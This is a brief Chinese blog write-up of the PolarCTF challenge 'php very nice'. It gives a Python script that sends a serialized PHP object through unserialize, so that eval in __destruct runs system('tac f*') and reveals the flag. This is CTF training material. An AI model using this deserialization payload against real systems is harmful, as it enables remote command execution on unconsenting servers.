0
点赞
收藏
分享

微信扫一扫

Polar Web【简单】php very nice

舟海君 2024-06-08 阅读 69

Polar Web【简单】php very nice

Contents

思路

code

  • 由上图中的代码,在Example类中定义了一个public成员变量,并在魔术函数__destruct中调用了敏感函数 eval
  • 此外,出现了反序列化函数 unserialize 的调用,传入 GET 参数 a
  • 综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag

EXP

import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    print(res[res.rindex('flag'):res.rindex(';') - 1])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    # 构造需要反序列化的字符串 —— 旨在覆盖变量值 -> 指令
    pl = '?a=O:7:"Example":1:{s:3:"sys";s:17:"system(\'tac f*\');";}'
    attack(site, pl)

运行&总结

run

  • 本题考查重点是构造反序列化用的序列字符串,以达到变量覆盖,触发命令执行的目的。






敬,不完美的明天
举报

相关推荐

0 条评论